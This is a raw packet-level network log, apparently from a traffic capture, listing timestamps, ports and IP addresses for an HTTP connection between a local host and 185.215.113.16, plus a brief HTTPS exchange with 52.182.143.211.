Nov 24, 2024 19:12:05.063395977 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.063425064 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.063457012 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.063472033 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.066728115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.066746950 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.066791058 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.066821098 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.070270061 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.070343971 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.070368052 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.070382118 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.073689938 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.073756933 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.073786020 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.073837996 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.076890945 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.076909065 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.076957941 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.080106974 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.080161095 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.080169916 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.080221891 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.083556890 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.083636999 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.083638906 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.083681107 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.086855888 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.086931944 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.086971998 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.087040901 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.090207100 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.090254068 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.090321064 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.090372086 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.092765093 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.092816114 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.092859983 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.092905045 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.095417976 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.095469952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.095488071 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.095536947 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.097990990 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.098037958 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.098138094 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.098184109 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.100600958 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.100661993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.100734949 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.100804090 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.103301048 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.103349924 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.103395939 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.103435993 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.105878115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.105920076 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.105942011 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.105964899 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.108469009 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.108552933 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.108664989 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.111130953 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.111330032 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.111375093 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.111426115 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.113704920 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.113744974 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.113760948 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.113790035 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.116308928 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.116367102 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.116400003 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.116564989 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.118948936 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.119034052 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.119083881 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.119141102 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.121738911 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.121776104 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.121794939 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.121823072 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.124151945 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.124314070 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.124315977 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.124365091 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.126837015 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.126889944 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.127105951 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.127159119 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.129370928 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.129426003 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.129502058 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.129555941 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.132062912 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.132116079 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.132127047 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.132178068 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.134993076 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.135046005 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.135051012 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.135090113 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.137408972 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.137465954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.137510061 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.137554884 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.142087936 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.142124891 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.142159939 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.142190933 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.143444061 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.143481970 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.143522024 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.143537998 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.145919085 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.145976067 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.146083117 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.146138906 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.148688078 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.148722887 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.148741007 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.148817062 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.151133060 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.151186943 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.151288033 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.151331902 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.152915955 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.152975082 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.158519030 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.158576012 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.158649921 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.158706903 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.159781933 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.159816980 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.159836054 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.159923077 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.162343979 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.162434101 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.162461042 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.162509918 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.164942026 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.164999962 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.165071011 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.165227890 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.167831898 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.167866945 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.167886972 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.167922020 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.170254946 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.170312881 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.170376062 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.170428038 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.172673941 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.172739029 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.172791004 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.172858000 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.175477982 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.175539017 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.175595999 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.175642967 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.178200960 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.178235054 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.178257942 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.178291082 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.180671930 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.180754900 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.180824041 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.180887938 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.182082891 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.182209969 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.182257891 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.184494972 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.184612036 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.184628010 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.184751987 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.186798096 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.186889887 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.186949015 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.189193010 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.189249992 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.189291000 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.189346075 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.191473007 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.191534042 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.191545010 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.191626072 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.194009066 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.194068909 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.194901943 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.194982052 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.197597027 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.197618008 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.197649002 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.197665930 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.199537992 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.199645996 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.199681044 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.199762106 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.202326059 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.202387094 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.202474117 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.202528000 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.204596996 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.204685926 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.204776049 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.204838037 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.207304001 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.207355022 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.207387924 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.207406998 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.209270954 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.209311962 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.209333897 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.209362030 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.211165905 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.211230040 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.211348057 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.211411953 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.212951899 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.213006973 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.213092089 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.213150024 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.215023994 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.215081930 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.215157032 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.215203047 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.217473984 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.217524052 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.217603922 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.217677116 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.219433069 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.219489098 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.219573021 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.219655991 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.221647024 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.221668959 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.221721888 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.223771095 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.223829031 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.223932028 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.224082947 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.226025105 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.226083994 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.226176023 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.226226091 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.228097916 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.228115082 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.228151083 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.228166103 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.230515957 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.230531931 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.230568886 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.230587006 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.232909918 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.232965946 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.233050108 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.233120918 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.233691931 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.233707905 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.233742952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.233756065 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.234843016 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.234893084 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.234951973 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.234998941 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.238502026 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.238535881 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.238569021 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.238578081 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.238604069 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.238609076 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.238609076 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.238867998 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.239659071 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.239715099 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.239820004 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.239869118 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.241199970 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.241235018 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.241257906 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.241277933 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.242723942 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.242780924 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.242981911 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.243038893 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.243449926 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.243484974 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.243541956 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.244482994 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.244539976 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.244587898 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.244817972 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.246098995 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.246134996 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.246155024 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.246181011 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.247311115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.247390032 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.247426987 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.247513056 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.248392105 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.248502970 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.248558998 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.249644041 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.249739885 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.249787092 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.250803947 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.250885963 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.250936985 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.252012014 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.252110004 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.252130985 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.252147913 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.252980947 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.253015995 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.253114939 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.254345894 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.254403114 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.254453897 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.254506111 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.255779982 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.255841017 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.255894899 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.255944014 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.256777048 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.256856918 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.256871939 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.256988049 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.258146048 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.258194923 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.258224010 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.258317947 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.259442091 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:05.259491920 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:05.335247040 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:05.335385084 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:05.335448027 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:05.336033106 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:05.336050987 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:05.336062908 CET	49839	443	192.168.2.8	52.182.143.211
